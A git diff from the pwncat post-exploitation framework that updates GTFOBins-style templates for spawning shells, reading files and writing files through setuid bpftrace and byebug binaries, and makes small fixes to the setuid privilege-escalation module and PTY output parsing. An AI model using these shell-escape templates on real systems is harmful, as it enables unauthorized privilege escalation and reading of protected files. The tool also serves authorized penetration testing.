diff --git a/.byebug_history b/.byebug_history
new file mode 100644
index 0000000..9ade48b
--- /dev/null
+++ b/.byebug_history
@@ -0,0 +1,6 @@
+continue
+!uit
+quit -y
+quit
+exit
+continue
diff --git a/data/gtfobins.json b/data/gtfobins.json
index 02aaec8..edbd3d0 100644
--- a/data/gtfobins.json
+++ b/data/gtfobins.json
@@ -85,7 +85,7 @@
 	{
 		"name": "bpftrace",
 		"shell": {
-			"script": "{command} -c {shell} -e 'END {{{{exit()}}}}'", 
+			"script": "{command} -c {shell} -e 'END {{exit()}}'", 
 			"suid": ["-p"]
 		}
 	},
@@ -119,13 +119,16 @@
 	{
 		"name": "byebug",
 		"shell": {
-			"script": "TF=$(mktemp);echo 'system(\"{shell}\")' > $TF;{command} $TF",
-			"input": "continue\n"
+			"script": "TF=$(mktemp);echo 'system(\"{shell}\")' > $TF;{command}  --no-stop -q $TF",
+			"need": [
+				"--no-stop",
+				"-q"
+			]
 		},
-		"read_file": "TF=$(mktemp);echo 'system(\"cat {lfile}\")' > $TF;{command} $TF",
+		"read_file": "TF=$(mktemp);echo 'system(\"cat {lfile}\")' > $TF;{command}  --no-stop -q $TF",
 		"write_file": {
 			"type": "base64",
-			"payload": "TF=$(mktemp);echo 'system(\"echo {data} | base64 -d > {lfile}\")' > $TF;{command} $TF"
+			"payload": "TF=$(mktemp);echo 'system(\"echo {data} | base64 -d > {lfile}\")' > $TF;{path} --no-stop -q $TF"
 		}
 	},
 	{
diff --git a/pwncat/privesc/setuid.py b/pwncat/privesc/setuid.py
index 362b8b0..b840a4d 100644
--- a/pwncat/privesc/setuid.py
+++ b/pwncat/privesc/setuid.py
@@ -67,6 +67,7 @@ class SetuidMethod(Method):
         # Update the cache for the current user
         self.find_suid()
 
+        known_techniques = []
         for user, paths in self.suid_paths.items():
             for path in paths:
                 binary = gtfobins.Binary.find(path)
@@ -95,6 +96,7 @@ class SetuidMethod(Method):
 
         # Run the start commands
         self.pty.run(enter + "\n", wait=False)
+        # self.pty.process(enter, delim=False)
 
         # Send required input
         self.pty.client.send(input.encode("utf-8"))
diff --git a/pwncat/pty.py b/pwncat/pty.py
index eaef489..8767134 100644
--- a/pwncat/pty.py
+++ b/pwncat/pty.py
@@ -795,6 +795,8 @@ class PtyHandler:
 
             response = self.recvuntil(b"_PWNCAT_ENDDELIM_")
             response = response.split(b"_PWNCAT_ENDDELIM_")[0]
+            if b"_PWNCAT_STARTDELIM_" in response:
+                response = b"\n".join(response.split(b"\n")[1:])
 
             if self.has_cr:
                 self.recvuntil(b"\r\n")
@@ -981,6 +983,7 @@ class PtyHandler:
             if line == "":
                 continue
             line = line.strip().split(":")
+
             user_data = {
                 "name": line[0],
                 "password": None,